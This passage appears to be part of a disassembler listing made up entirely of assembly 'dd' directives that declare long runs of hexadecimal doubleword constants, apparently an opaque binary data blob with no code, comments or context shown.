		dd 0AC3EC66Eh, 9ED45F03h, 0BE24FC2h, 0C6EF27D5h, 2517C333h
		dd 927DA10Ch, 83B78661h, 875B97B4h, 5E7B8B67h, 0DF06C95Ch
		dd 0C888EBE2h, 0F1962236h, 2CB5886Fh, 0E9F818C8h, 5B9F58C3h
		dd 10B41D6h, 9CA167FFh,	0CDAFE6D6h, 63006F81h, 0E910D036h
		dd 0FEE1252Ah, 0E2CBB96Ch, 6E90576Ch, 919A5140h, 9425D96h
		dd 2D76D932h, 15E5C174h, 0C74AA0ACh, 47F0E9Dh, 83792C0Ah
		dd 0DD1CEC61h, 0F5AF81C6h, 84CE9F22h, 0F7971ADFh, 5A2A3EF0h
		dd 5E4BAB31h, 9284CFFFh, 4BC8E7BEh, 5101ACA6h, 0B2490768h
		dd 37607A7Eh, 1695BE56h, 974A477h, 0E97C5EA7h, 779F326Bh
		dd 295FA887h, 89E91E87h, 5D2592D4h, 0DB08F265h,	0E6C10571h
		dd 0A4C8708h, 0A0F3164Fh, 40E7F7EAh, 0C1F9448Dh, 0A984E95Ah
		dd 5001AC80h, 2E667A98h, 6230CFAAh, 0B860F030h,	0B017B652h
		dd 8AED6F6h, 7988E99Fh,	0E788251Ch, 7BC44F64h, 1F20AAFAh
		dd 9741DB68h, 5427B3DBh, 0C4E9C1C7h, 6CA23A3Ch,	0E1415D05h
		dd 0D4F2AB67h, 9A7A99h,	240D0F7h, 0B84B92Dh, 6D41892Bh
		dd 743FC9E9h, 5BEEF258h, 8228345Bh, 0D0D600Fh, 15EE80FEh
		dd 0CD0B1191h, 80DF44F9h, 0BDC97469h, 4CBDCB00h, 0C25F7AB5h
		dd 4B52B2C3h, 0B83AEB5h, 9CFCDCE9h, 58E3280Dh, 43E2FFC5h
		dd 0AD0B3B50h, 0A2207F83h, 0B74928h, 55DDB951h,	416BF32Fh
		dd 0D6B585Ah, 1CCECDh, 0EAB7E908h, 35E08496h, 4A3E28D8h
		dd 13FAE054h, 52BFE29Dh, 0BC20B5ADh, 5FCD5D36h,	5394584Fh
		dd 5ED2A8AFh, 961D6D23h, 0CFF20461h, 0AFA07082h, 0E948D5ECh
		dd 0BE8B7312h, 7D429A1Fh, 87895325h, 595185h, 860C768Eh
		dd 0FFC8AA0Bh, 0BE9E3AA2h, 2EBD94D5h, 9D8719B6h, 0AFCFCCD8h
		dd 10FBF24h, 46306A62h,	9D8ECA96h, 7B17073h, 7F2877E9h
		dd 57C1FA4Ah, 0BF80F022h, 0A5F448EAh, 0D7418921h, 4D68E382h
		dd 27D4363Eh, 487B4580h, 957C2949h, 0C48CDD4h, 1C252834h
		dd 0D6F65E3h, 0D37DC3A6h, 0D7636B27h, 3168F8B0h, 138127E3h
		dd 0D3B03BE9h, 0B2B9052h, 33F50B0Dh, 3A5EDA0Bh,	0E017AD02h
		dd 0BFB3E320h, 8E230DAEh, 30507030h, 0A01A102Ch, 137B4B1Eh
		dd 0E8226A2Fh, 0B5055BD3h, 2D163D56h, 8547C4AAh, 0FFD4FB0Eh
		dd 0E4EA1312h, 40977D96h, 62466840h, 0FCD0CF09h, 0EA24D709h
		dd 639783EBh, 988DE6B1h, 5818290Ch, 1340FFFEh, 90F5282Ah
		dd 0FAAA207Ah, 4FE8584Ah, 16C34D73h, 3620B980h,	0E92646EBh
		dd 508329F5h, 98804B0h,	70F96856h, 0F7F65F44h, 5B6FF8FAh
		dd 0B2F1BD5Eh, 0F5F55159h, 0EBDBEBFDh, 0A4FABD58h, 832F6863h
		dd 0C742F451h, 0CE3C9862h, 0ABF4F7ECh, 0FBF475E8h, 8A4D1CF3h
		dd 0B8685300h, 5B7D5212h, 95E38103h, 0B0219743h, 57ED5F3h
		dd 33E9391Dh, 5ADDD3E7h, 6417C5F5h, 1DFB0114h, 28254166h
		dd 461260A0h, 273BAF47h, 0ED63BBE9h, 0FC0864Eh,	28F1807Dh
		dd 13AF3019h, 0B307F568h, 0CAE90B99h, 0B0C4CE96h, 866720CFh
		dd 343BBD07h, 0A7A40127h, 54868BD5h, 0B5327BAEh, 7C2FEA45h
		dd 0CF5552A0h, 54E90507h, 22E2EA5Ch, 0EC315E13h, 6DE98267h
		dd 0F5C6DD56h, 1E188AD7h, 9FE2F91Eh, 7CF6876Eh,	0BC31534Ah
		dd 312F6093h, 2A6500Ch,	55525731h, 189620h, 8B6E281h, 0EA8372DBh
		dd 3E0013DCh, 88681BA5h, 6318BF7Ah, 0A1CA2B36h,	0AC1CC9E0h
		dd 0FD17AF3Ch, 1BC9A4A0h, 1376C82Ah, 13BBF13Bh,	10F017EBh
		dd 3BC59C11h, 21B981DBh, 0E587844Ch, 80FB2F10h,	24D1F5A6h
		dd 87BF177Eh, 0EA19E972h, 89A141DDh, 60D9B03Ah,	41EED69Dh
		dd 7A21E468h, 5581EEE6h, 6B6B6D68h, 161B2ACCh, 0C05ECC73h
		dd 9155E929h, 931C5397h, 0A790FEB9h, 274701EAh,	0E3285361h
		dd 0D6D12708h, 0CEA49069h, 98008211h, 4896416Fh, 57E9AC1h
		dd 0E1D9732Ch, 50021EFCh, 1370A07Dh, 14E0B36h, 46BA4C70h
		dd 0AC3C27h, 6265B135h,	0FE0C145h, 94E99607h, 0ADE54F50h
		dd 1E12F577h, 8025F8D6h, 821AFDB8h, 0AD68144Eh,	90D0983Bh
		dd 0B81FF902h, 70C15D07h, 2A61ECDCh, 9A16EDECh,	201031F6h
		dd 0DCD32AC7h, 3FBF571Ch, 0CF03A84Fh, 0E530C6FBh, 0CAFE9D6Eh
		dd 7D53654Fh, 0C0DD54D2h, 3E2D3E8Ch, 5C986C04h,	0E5C01ADEh
		dd 0ED80050Eh, 5E1D13F6h, 589392B9h, 7FF3C10Bh,	7687830h
		dd 2D8A5297h, 67D2F201h, 0A53A20E5h, 9F265B4Dh,	31C00153h
		dd 9FA365E9h, 8932CAEh,	0BA121643h, 8188B0EAh, 6FD0EB04h
		dd 0ACBA0FDCh, 2008419Ch, 0E14550B5h, 45575FA7h, 7C300B8Dh
		dd 70D5FACAh, 6005F683h, 0F7CB172Fh, 737B4902h,	97F1E320h
		dd 0E20EBCDAh, 0E406B36Ah, 21FB5828h, 4ECC0F3h,	0EE4F31BCh
		dd 0F3E35513h, 0A576312Dh, 0C4EAF2CFh, 7CB9B078h, 92D47141h
		dd 7FEA97C4h, 32615A75h, 2D16C6A0h, 17205866h, 0A1BF291h
		dd 0F4B35366h, 72C02582h, 301EA3BBh, 0E28B352Ch, 4F9A22E7h
		dd 7908C636h, 61700257h, 71E93784h, 205DC0ABh, 16721B95h
		dd 31D9981Dh, 8F7763F1h, 32CC6E96h, 685A406Ch, 1F17422Eh
		dd 6293F669h, 9D66ABC0h, 410AB32Eh, 5901F910h, 12BC662Dh
		dd 50FAEC9Dh, 0DF95CFA4h, 590C258Ch, 0D327317h,	0D1AF6B64h
		dd 3F44AC0Dh, 0B12E59DDh, 57A82F78h, 364C78D4h,	3BB1EE2Ah
		dd 2392F701h, 4899FA92h, 5F2D1526h, 545A9BD4h, 46DCC3C2h
		dd 605B5699h, 0DED301C9h, 59CE1621h, 120BC2BFh,	616A58F7h
		dd 0C752080Ah, 4581C901h, 0FB1456E2h, 1FAA285Bh, 8ADA64Ah
		dd 680531A9h, 8BEA63D6h, 20B158D7h, 92BB1C4Ah, 0F76E4509h
		dd 0D7F187DBh, 0E89114F6h, 9DAC164Ah, 4CE28BBEh, 7A555EAAh
		dd 0DF9D1071h, 3EF8740h, 8A3EFA15h, 0F5CFFE29h,	0B9BEB0C2h
		dd 36538C09h, 5B66706Ch, 597D82E0h, 74298F3h, 58660278h
		dd 0B5FAA62h, 537CDC85h, 55A18AF1h, 1F08E3F4h, 358CFE89h
		dd 0CEBCD1Eh, 29A848D5h, 5E17E7F2h, 7600FDA9h, 7E25598Ch
		dd 0CBC959E9h, 8C6CB64Ah, 0BFBB24h, 68A225C5h, 0EFD1DFF7h
		dd 3E7C116h, 0A10284BDh, 1283C78h, 4355858Bh, 0A651E83Eh
		dd 35582875h, 0F5E91906h, 455B547Bh, 83E2AEABh,	0B188E984h
		dd 2CFF2A0Ch, 0EF4057BBh, 1D1709BDh, 0FD57D21h,	0A9E1A9EEh
		dd 10E1F806h, 48C228D0h, 18D675D6h, 0E8A5A704h,	0C0F40012h
		dd 0F773704Bh, 4225D87Dh, 0B62D6E98h, 0D3FAC4ECh, 0E5055272h
		dd 316B410Ch, 0B90478D9h, 91DC0C56h, 984C956h, 7C95B4F0h
		dd 8E2CC4D3h, 99BF4EBFh, 30917FFAh, 8304AB4Fh, 0ADCDB1FBh
		dd 0BD55004Dh, 3F814254h, 3BA0252h, 317E703Eh, 0AD287E77h
		dd 0B0080BF4h, 0B1BD004Ah, 5107800Eh, 6254F995h, 0FDDC91EDh
		dd 4D3F743h, 386BF658h,	77A0BA15h, 0E0C3022Bh, 5AD331BCh
		dd 0E7DF6357h, 0DD381330h, 3C6ABE7Dh, 4A9E0BFDh, 28DD7A35h
		dd 933A08A2h
		dd 28EFBBA8h, 0C499EAAFh, 0FD2FE904h, 171ED90h,	0B9105048h
		dd 85131818h, 43880C63h, 344F958h, 0CBAE23C3h, 687D09D1h
		dd 24794517h, 0F4C7E984h, 13309B88h, 0E517CD3Eh, 8EF86BEDh
		dd 4038AEA5h, 0D57C975Eh, 4AD4E970h, 0CC2CBDCAh, 4BAA8EDDh
		dd 4BE2CC44h, 40100567h, 0E82BB241h, 4AA1D9CBh,	82C5276Ah
		dd 0DD45CFBCh, 0C4B4963Dh, 0C0F39F45h, 0EC6BB8F5h, 2E72B3CEh
		dd 247492Ah, 324A5113h,	44E6B383h, 0E0288194h, 32CD3FF3h
		dd 4912EA2Fh, 0E1EBB1D5h, 9C52DBEh, 0D91B31E9h,	0B1D79755h
		dd 0F91540BAh, 6F258851h, 87007521h, 0E343290h,	4CDE8197h
		dd 0C8137F2h, 0A51EDC85h, 47F6E5E9h, 0F3707120h, 12D2577h
		dd 317268ECh, 7E3346B3h, 2E10EE20h, 240BDA88h, 0C96885A1h
		dd 0EF2E37Ch, 0C2090FA5h, 84A7F581h, 0B8AEEF06h, 4C013B12h
		dd 8BE45A25h, 304A3DC5h, 0C73C593Ch, 25927B7Fh,	67184DF7h
		dd 0CEE4F988h, 62CAE95Ch, 0F7D7F788h, 0CA80E19Ah, 69F345DDh
		dd 420BE925h, 90E57735h, 91164B82h, 76EA423Bh, 261489F5h
		dd 0B980ABD9h, 7D990D09h, 0B8BE9BFh, 2480CF31h,	4668732Ch
		dd 5F80114h, 2FF15807h,	5E015229h, 0E0464A8Eh, 3A5210DDh
		dd 24382CBBh, 0B509502Dh, 3F163E31h, 1778ECA3h,	0E10B6CFBh
		dd 6E672556h, 0F0A252ECh, 527EECCh, 2CD47302h, 562539DAh
		dd 27BF9265h, 0EDF05A5Eh, 38AB46Ah, 0DD6FD941h,	0AE96A473h
		dd 2D06F308h, 53E0B0D7h, 54A4F94Fh, 883ACCBh, 6826E30Bh
		dd 0FC7E04A8h, 6831540Bh, 0E9E5A76Dh, 0BF26C3A6h, 0A5514EC1h
		dd 5B05D048h, 82E6C554h, 490F2376h, 0BA1B018Eh,	2484F528h
		dd 0ABD6F6C0h, 7A3261B8h, 59775A18h, 4F574997h,	2081A29Bh
		dd 0DFA04811h, 422479FEh, 86059347h, 0F9A8876Bh, 5F602C06h
		dd 0E3014E67h, 0E910345Eh, 0A36F15E8h, 7A87909Ah, 8FE2C25Eh
		dd 89A2F824h, 92FDD6F7h, 0F0B07D8Fh, 104F779Fh,	0F12035F8h
		dd 3AF0294Fh, 25070F64h, 0BB335918h, 0E25152CAh, 647FE57Ah
		dd 8F4074EBh, 6859095Ah, 8DB027F4h, 0FBBF5715h,	0DA89A4Eh
		dd 3F1A8660h, 5DD20982h, 0D0DF5F1Ah, 0C5F33489h, 0C0B1ABCEh
		dd 86D5D1E3h, 0CBCFB59Dh, 7AE89ECCh, 0C082C1B1h, 0B671EFECh
		dd 0DEAB8287h, 0B17583FBh, 0DA7057D4h, 12FFBAB0h, 45047C2h
		dd 0E40898Ch, 0FAFDC454h, 93EA6EAh, 79495068h, 0CD9FB5h
		dd 3EBE7D0Bh, 0D368473Ah, 0E941A676h, 2359FF4Dh, 0DC55E5EDh
		dd 138DA2AFh, 444758BCh, 19824EDEh, 21ED5577h, 0D6E259A6h
		dd 892E465h, 70274B6h, 0B568B92h, 16B5CFBEh, 0E1982D63h
		dd 3EE4561Fh, 6C00FF9Bh, 1CC5B9Fh, 3065332Dh, 5763DE5h
		dd 5F0623F3h, 1D6D353Ah, 6AF29762h, 0A3046225h,	0A761DE7Ch
		dd 720E4A8Ch, 9052559h,	25BEC77Ch, 0C06B7924h, 700261F6h
		dd 0DD090AB0h, 7D190E77h, 0C0CE3720h, 4C399A11h, 0FCCAFAE9h
		dd 2F3BA95Bh, 287CF327h, 8FC06C1Ch, 0AA40DBF8h,	6F220B68h
		dd 67707A91h, 19286901h, 537E92Fh, 6D222E06h, 0BB874A5Bh
		dd 410F8831h, 171E6B82h, 887F20AEh, 33E079Ch, 359967FCh
		dd 0E9F0905Ah, 0FE3373ADh, 1F53C66Ch, 6A20A329h, 0AE584EB3h
		dd 0FDEF1A0Bh, 3CB64613h, 87008BAAh, 1E92065Fh,	0D593609Dh
		dd 7FB845h, 35DE6113h, 3CF9ED81h, 29322612h, 840F3ECh
		dd 0DD4FC45Fh, 9730AE97h, 316430D6h, 121E8746h,	0EAC00471h
		dd 2D6E36F7h, 42E439E3h, 0FB8622BFh, 13210506h,	2504E90Dh
		dd 8039C2F1h, 0F363E100h, 4FFAF61Eh, 604FF6D2h,	1963CD20h
		dd 46E91774h, 9C6A92Fh,	86D78869h, 0F34FDE1h, 1E2771B8h
		dd 21F509C9h, 5F1067CCh, 0BF03B46Fh, 0F0FE7714h, 1EF7049Eh
		dd 0E1FE42DDh, 5D08021Eh, 12042B63h, 42160B6h, 0C2D78CAAh
		dd 0C7127797h, 575F075h, 7EE9F201h, 1731FE5Bh, 0E63E88DFh
		dd 0B8005BBBh, 0D0C7E680h, 7842B0EEh, 9DD8EA05h, 535EE094h
		dd 7FFDC509h, 0CF4FB771h, 0B2FCCAEFh, 6604DC10h, 0BF4BAD68h
		dd 0BBCB5C21h, 27DCBA00h, 168BD54Ch, 19E9C5CAh,	0BF4268A2h
		dd 70F698FDh, 7983251Dh, 0C02DC57Eh, 1370D30h, 2D3DEB65h
		dd 419B28CCh, 41196CEh,	0F17F37F1h, 0FA703049h,	2A677814h
		dd 74D21F9Ah, 16E97DC5h, 0E3243AE4h, 0B0FCA97Eh, 94BE02E9h
		dd 3B7C4B6Ch, 691F6A01h, 0BA017BFh, 215D2DE6h, 5196B6D6h
		dd 0E02BD6DDh, 111613FAh, 912569B9h, 4BF62180h,	1F74276Fh
		dd 70EB6768h, 16E9485Ah, 7805318Eh, 3980EA6Ch, 5F4171E3h
		dd 0B1C4B02Bh, 9EBFDC12h, 291050ECh, 0ABA85B3Fh, 9B05013h
		dd 75567BA0h, 7021E904h, 810FA4AEh, 53A3E204h, 36FA48C7h
		dd 0BA010C34h, 0E9175E1Ch, 0FA2A5ABBh, 6EFA8B67h, 6B432D01h
		dd 33304903h, 5A07A105h, 5B60B460h, 30E8E369h, 68D1F4EEh
		dd 2C6F73DCh, 0C0697BE7h, 8774159h, 50AC214Ah, 4954E75Bh
		dd 202E010Bh, 42E94A13h, 655A68C2h, 0F97AE13Fh,	7F6995FFh
		dd 43771704h, 0F9AF5B33h, 1DA005A2h, 0BD823C91h, 4C2B74F5h
		dd 0FC5B10B8h, 76A22957h, 0B168C60Eh, 76768C93h, 0F800E541h
		dd 985B6466h, 31530FEh,	2C29BA16h, 0FB981D98h, 0FED42216h
		dd 7A9ECCBCh, 5EFDA455h, 0C959E22Ah, 5990DDEDh,	1297CD65h
		dd 9AAD41CCh, 9D14AAF0h, 0D8A575F4h, 520C827Dh,	3B2861AEh
		dd 0C008ED80h, 409D59E8h, 0B5D21A32h, 72DCB30h,	0F525C8B3h
		dd 9295121Ch, 0C8827557h, 21039A03h, 0DAF8F1C1h, 0EFDE1CA5h
		dd 0D204420h, 0BE5561A7h, 41AF1A88h, 3BD33AB7h,	0D420048Dh
		dd 70E4B5D7h, 0DF68020Fh, 0D0F48B7Fh, 3CF397ECh, 3BA06841h
		dd 0B608A38Bh, 15517654h, 2380D954h, 4B50491Fh,	0A684EA05h
		dd 204CC9FBh, 81801715h, 5D602CFh, 0DFF7502Eh, 58F27A55h
		dd 294DE24Dh, 8705EF48h, 0EA38368Fh, 95C8CDA0h,	5B7FDC89h
		dd 2FF0AB47h, 61E29ADFh, 6A3D1FF3h, 0BF4DC952h,	0E909AA4Ch
		dd 185D07F5h, 0E41DD77h, 0EA81300Eh, 1AF393Ch, 58908F70h
		dd 0BA73EC0Bh, 5A95F6Ah, 5F1B8381h, 7030A42Dh, 0DFC9D409h
		dd 0E69B8CE1h, 6B035C48h, 5F438F3h, 0EB1D5169h,	2DAF7B85h
		dd 41BE2A25h, 8E2D8DBBh, 19802EEEh, 4EF7E3D1h, 3E2298DBh
		dd 0C55CFB40h, 802EB6C3h, 4168064Ah, 0D23F1C48h, 5441FEA1h
		dd 59034842h, 0A75D6EB2h, 35B3ED76h, 26C0CDB3h,	4B2B6C0Eh
		dd 3EF5F1C4h, 0EDE243EDh, 11D8B4F8h, 4F1E68C9h,	0DA1FA53Dh
		dd 0E3C15E00h, 0EBD13405h, 0FC52F00Ah, 124BEA05h, 948BDD01h
		dd 0AD31AF4Fh, 405BAA0h, 0BA2FC75h, 1E62D7BEh, 8C5EE361h
		dd 0D933CC1Ch, 43AE1DEFh, 0EA003BC3h, 7ABA5DC9h, 8790FA29h
		dd 31840882h, 30B491E6h, 0C440CAD7h, 6182731Ah,	8CE05685h
		dd 0DFFE4DDEh, 2BAACDDEh, 1DCE9E27h, 93D7213Dh,	9379FC51h
		dd 166E29A1h, 0EE07841Ah, 36493F01h, 1160634Dh,	0C588809Dh
		dd 972DB798h, 8A24D948h, 69EB16A8h, 0B3C63D1h, 7575BD8h
		dd 2F9C3C3h, 1104AEh, 80EBAABFh, 0FA31E413h, 55EE8E2Dh
		dd 8AA5C3F9h, 0A3009A3Ah, 319AF030h, 57590BCEh,	665D2868h
		dd 354F04E7h, 0B0555AB8h, 0C080D8D9h, 0FE0203EDh, 0C9C580CDh
		dd 874A18EAh, 1B436287h, 0E0701B00h, 109884E5h,	49EDD1B5h
		dd 0D5C62277h, 400105E1h, 5B471BDAh, 68175F70h,	38EF27A7h
		dd 0C4B7EAD5h, 0E9C20B3Fh, 26FACCB4h, 7626197Dh, 0E601472Ch
		dd 0D1185E35h, 137D2328h, 53C2C020h, 1C2CFE3Ch,	404310h
		dd 595B48BBh, 2FD9097Fh
		dd 13827DE9h, 745F405Ah, 5C370335h, 9CF91B52h, 82E76C09h
		dd 5702C383h, 80052146h, 0F18869F6h, 93C35ECh, 126CEB9Ch
		dd 4AA4EBCBh, 0FF28F8B0h, 0C03D58D9h, 0E1ADE938h, 83840612h
		dd 4FBCA80Fh, 593E70BDh, 1531C92h, 0F67199F7h, 12943E7Dh
		dd 8CEF0812h, 0E52EC198h, 7EE01908h, 2D7B671Dh,	89FCFD21h
		dd 0BD16D0CAh, 40BE5656h, 70F6985Fh, 0FA5389B8h, 4E3C4C2Eh
		dd 4E8152B4h, 4182E36Ch, 92D43A08h, 2D524385h, 0BE6F7E0h
		dd 5428644h, 0C997AC72h, 0E833E833h, 0F8B15100h, 0CE28E6B6h
		dd 44B53AC0h, 978ACBE9h, 5312D845h, 0D72889C1h,	72885B60h
		dd 2FEC7DFDh, 0DF2A9ADh, 1C2BE50Fh, 4F527D73h, 25C35A20h
		dd 1841E40Bh, 53628D68h, 87805344h, 7540B5EAh, 20BC0F26h
		dd 0E0C657E9h, 1F2DEF0Eh, 0DF2961BDh, 49C46856h, 5E162E58h
		dd 8C451EF8h, 6F423BE5h, 13FE5412h, 87350BEh, 0E95B5E02h
		dd 0BB68B70Ah, 76490768h, 695F8094h, 42D2CCDh, 38F03A33h
		dd 40EBE029h, 5DF52BB5h, 0CC6B1A8Bh, 0D8521C27h, 60AD4FBAh
		dd 983006A6h, 87D4195Bh, 0B3B9FEBh, 9220A1E9h, 0A6D055F5h
		dd 7D6A4DF6h, 73078017h, 0CBC42E10h, 61A57188h,	23689CB7h
		dd 0DB25158h, 0F23581B1h, 2BBE6246h, 0C0C7A83Bh, 0DB348BE2h
		dd 1A4A6011h, 0D7B6F1A6h, 71D10927h, 0DDE26FE4h, 8C41E73Fh
		dd 0FEE53AC3h, 226FC07Eh, 18C046ABh, 0C101BAAh,	1CCB6801h
		dd 34E90408h, 781BD0Ah,	54E05973h, 0DD7E2EB2h, 10F50498h
		dd 9722FE3Eh, 0AEB94384h, 0BD133E86h, 42E7EA0Eh, 0F6FC9EA7h
		dd 64C9F9BDh, 85BA9448h, 4733844Eh, 0BBDBE68Ch,	0A42428F1h
		dd 0F29E492Dh, 5D9FB42Bh, 5FB45CF8h, 18A9BB07h,	10574FE3h
		dd 4ACE46B2h, 1292EEA0h, 0F05B0C16h, 624109F3h,	3E72A16Ah
		dd 0DCF6E4C1h, 36C210B1h, 2A3272ABh, 0B880C767h, 8FEC15Ah
		dd 0B50F70B8h, 648990Eh, 7FDB1939h, 2FBD2FE5h, 11EC197Fh
		dd 0B46B4308h, 52F27CC4h, 7E4BE1D1h, 0E9CAC0DEh, 0BB830783h
		dd 48A2BAFBh, 66B8CFh, 5244C147h, 923412BAh, 254A0160h
		dd 0A04EB216h, 505323C4h, 40FE98BFh, 0A7EC41AFh, 5F238997h
		dd 4DCCEA38h, 8B4080AAh, 9927584h, 0FAE4CC98h, 5D5B5F2Dh
		dd 0FCBDE796h, 0C7E906F7h, 681C45AAh, 0DF253DA0h, 0E9126B9Ch
		dd 0CF9D39F4h, 0FCFAAE44h, 33E9B07Ah, 59EA2765h, 81508DFh
		dd 5AB2C936h, 88F08D68h, 32281C17h, 4553C1E6h, 9609008h
		dd 8C7E7368h, 40A17E9Eh, 0EF47CC2Dh, 0DF0529BFh, 68846473h
		dd 2EBC540Dh, 52565082h, 4F17A5Dh, 2ECDE581h, 0C5F58049h
		dd 1D12275Ch, 0F2FA893Ch, 0D2C2CA8Bh, 0BEE68085h, 823FB183h
		dd 63A1D9F3h, 3710138Eh, 0BF5FA6DDh, 0F9556973h, 1EA8428Bh
		dd 91E0FB67h, 337CB51Ah, 7D4ECCEFh, 80780EB6h, 0F50F87C6h
		dd 0BFD41185h, 0A0C3F432h, 4E0C195h, 1CC70C35h,	936C7180h
		dd 84B3114Ah, 0B1480093h, 5D34A86Bh, 404DAEECh,	7B080F3h
		dd 58353F8Ch, 0B02A805h, 0CEE9C531h, 0C590C850h, 0E9892F34h
		dd 2F389E0h, 0B76EE019h, 0C45FDD29h, 68AD0C80h,	0B2D9340Bh
		dd 4AA3014Ah, 125626h, 302C0FCEh, 410252BEh, 5EE90716h
		dd 616B7EAAh, 73664868h, 21085EA0h, 88590506h, 0B16AC7E3h
		dd 2E672568h, 62DEB28Ch, 456F2E53h, 0F2445C71h,	32A1408h
		dd 4A20683Eh, 4F1563BBh, 0D33D8895h, 50D5C13h, 89250BAh
		dd 29A2984Fh, 0F0CE745Fh, 0CD114A65h, 76DB42BAh, 505AA0CBh
		dd 6CA767A5h, 68F61A7Ah, 10C0EBCh, 1026C4C2h, 5B548E39h
		dd 0A329329h, 0BA84407Ah, 7A20B916h, 6405EBECh,	8143F263h
		dd 30128773h, 41F9C154h, 6E7E02BDh, 5E119DA6h, 1DE55B7Dh
		dd 0A7D1F06Fh, 63B8081h, 11D7381Eh, 326EF43Ch, 5D2D21CDh
		dd 6D987B58h, 2E865497h, 0BA5A1294h, 54C85162h,	2456271Ah
		dd 58E93056h, 5AD32873h, 0FDFA682Fh, 0CF85BD99h, 3AC04F5Ah
		dd 2D8B0EEAh, 2A7B297Ah, 14820C20h, 962C5655h, 0B855C09Ah
		dd 1E7B6D3Dh, 5BD83113h, 0CE09F10Eh, 435CA721h,	0F1E92FB0h
		dd 0CBE2A8D9h, 575113B0h, 0E409E00Eh, 7FB53525h, 0E90B1D47h
		dd 76B7827h, 9F07B3BFh,	4E49A238h, 0EF9B47D4h, 5E0AD38Eh
		dd 666CFF12h, 88B25FF1h, 72B56868h, 2736998Ch, 7F260B77h
		dd 0E8956396h, 0A8F6F97Dh, 3916C59Dh, 29A51CE8h, 131A4C75h
		dd 0B803E3C1h, 0DF298EFCh, 84E52FBCh, 21885C48h, 0B7DE4012h
		dd 0FD88A91Eh, 7694AF4Bh, 0A6124E16h, 8B682F90h, 0CB3B7FDCh
		dd 0F3D0249Ch, 0D6B3D9E9h, 6C39FAEEh, 145F57A7h, 5D599FBDh
		dd 0E3AAA7C4h, 4B68178Fh, 0BAA78B85h, 0AFCC845Eh, 0D7F4B0D7h
		dd 80878A81h, 0D225CA77h, 7FBC155Ah, 0FEDBE50Eh, 7916DE2Fh
		dd 0B57C09EAh, 650A68C3h, 77FDFA84h, 9E0F7D6h, 0F5FEE33Ch
		dd 0C244FF71h, 0E981E0BFh, 0B647226h, 0A0190E87h, 0FDD58922h
		dd 0AAFE9384h, 0EDF412FDh, 41BC8471h, 4013FF13h, 6809F8A2h
		dd 7AC644CCh, 9055E30Bh, 0C31A201Ah, 4CC41014h,	43010D5Dh
		dd 0E95BC11Fh, 0FD122B2Eh, 512D2D00h, 7D282BB1h, 4ED74DCBh
		dd 0DFC98101h, 0DB250F22h, 5F9DCDE0h, 6AC4055Ah, 75837FC2h
		dd 0D9F9B927h, 0F40C300h, 290A563Eh, 8B850CBh, 58DA622Fh
		dd 227F9D10h, 0E45C2841h, 20CDB05Ah, 2D055AC5h,	31206A03h
		dd 3ABC54C4h, 27A1F84Ah, 0B1477A8h, 9977DFAh, 0B616772Ah
		dd 20B7FEFEh, 841CED58h, 84F7976Ah, 5DE08D86h, 0DA29285Fh
		dd 4CBA598Ch, 0BC72184Ch, 35582DEBh, 0B63CB2C4h, 9F96B3AAh
		dd 696345CCh, 5B5402EFh, 0F7294388h, 80BB562h, 0B95011F7h
		dd 179E5868h, 0FBA15369h, 0B64BDBCAh, 456E1382h, 0BEC03BE8h
		dd 18556BC2h, 0EF3348B7h, 4B13B8DDh, 87C9F03Dh,	0D361DF7Dh
		dd 7EFD6808h, 6A972054h, 0ACC2D0F5h, 56550560h,	0EB8457CFh
		dd 0BC2B349Dh, 0B3EFB506h, 2909CBC9h, 7BED7790h, 20A4C4AFh
		dd 8102BBEEh, 5561D6CAh, 90A3C03Fh, 257F723Bh, 42EDE9h
		dd 8462D1D5h, 0BA976851h, 0F6C476B8h, 0A362EB50h, 3905DCB5h
		dd 0F180C901h, 90CB8805h, 0BB3BC02Ah, 0BF16130Fh, 903C2B44h
		dd 55299749h, 0F8280273h, 5F250705h, 0AFD6FC5Eh, 385A095Ch
		dd 9B7D7BDDh, 11893C74h, 0A87E2E3Eh, 0E06CB502h, 0E6E3777Ah
		dd 775CF013h, 53F0B9C7h, 2F40F208h, 28C0D8E9h, 5B5FE868h
		dd 80B5DDFCh, 8E4CBBF8h, 0E94D5A0Bh, 8FC8E0D0h,	4DD2B802h
		dd 0C22540ADh, 0D9F1C3FFh, 492A1CC1h, 35F0BA9h,	992FF5F0h
		dd 69490EDh, 0EC4F0B95h, 16AF306Fh, 9B252C4h, 5AD530B4h
		dd 3D92CAE0h, 0C18FFF58h, 6FF69CF8h, 0F24C8966h, 6169444Ah
		dd 1592181Eh, 28553074h, 0D1012B0Ch, 0C4AB374Ah, 0E9080F82h
		dd 6849AF53h, 89367E2Eh, 0A87BF091h, 4138706Ah,	0C0C15C43h
		dd 0C23B0471h, 0A277560Ch, 0EFDFC0C3h, 0A4C08B4h, 0B21A2Bh
		dd 5EC54785h, 0D702802Dh, 0E8832717h, 95BA8001h, 1E713943h
		dd 0D6403D05h, 1E10EA09h, 0CEE91307h, 3CFEFE57h, 0D24B5C2Ch
		dd 409B10A4h, 4DBAC1ACh, 908E20h, 0A60511BDh, 97F5810Fh
		dd 3BC84D16h, 3CD1C0EAh, 2EFBD99Dh, 0E9C843FBh,	770DB02Fh
		dd 0CD6602ECh, 0B63006E8h, 714C3A55h, 0EEC7804Eh, 1C4F0403h
		dd 96B8B0E0h, 0F0A2F42h, 3ECF02DFh, 0FCCC8F5Eh,	0D1D4BDA1h
		dd 47C06BAFh, 284ED5E9h, 14AF6976h, 0AEE37753h,	81F18B26h
		dd 9557F0BBh, 0C85E862h, 0C45814CEh, 0EC93D64Bh, 2343E9DDh
		dd 3B76F351h, 8F5CC3Eh
		dd 3AA65313h, 9550548Ch, 4F1DC443h, 82D2EA28h, 555E29C2h
		dd 9345ABD4h, 72250BF0h, 777D01CEh, 0E5610635h,	73842E68h
		dd 7F92C8EFh, 0F4F7A84Eh, 2786662Fh, 0C3040A04h, 40E97EB4h
		dd 5C277DE8h, 395811D4h, 0BDB88029h, 5ED45712h,	5EF07385h
		dd 492B0646h, 26F276E9h, 0FE9DC3E0h, 2DB75025h,	7EFC000h
		dd 0DE9DFF6h, 0C2FE9D86h, 6B715549h, 0E515D64Bh, 0FA8FD4E6h
		dd 0CC90C669h, 6CBC4B55h, 4E47AD4Fh, 0A8A9D504h, 0EC6BDDEAh
		dd 0E6BDBFF0h, 93759553h, 75ECA408h, 0BE38AA5Fh, 0B38E4F68h
		dd 75E90BE1h, 0FA191CC5h, 70324FDEh, 2DD8F75Ch,	0E4DD0705h
		dd 8BBA3161h, 2FE93CADh, 9B0A212Dh, 0A93FAB38h,	0E9F304E1h
		dd 2ED831Fh, 0F468DA0Fh, 24DAE3F2h, 6E14EC38h, 16592E83h
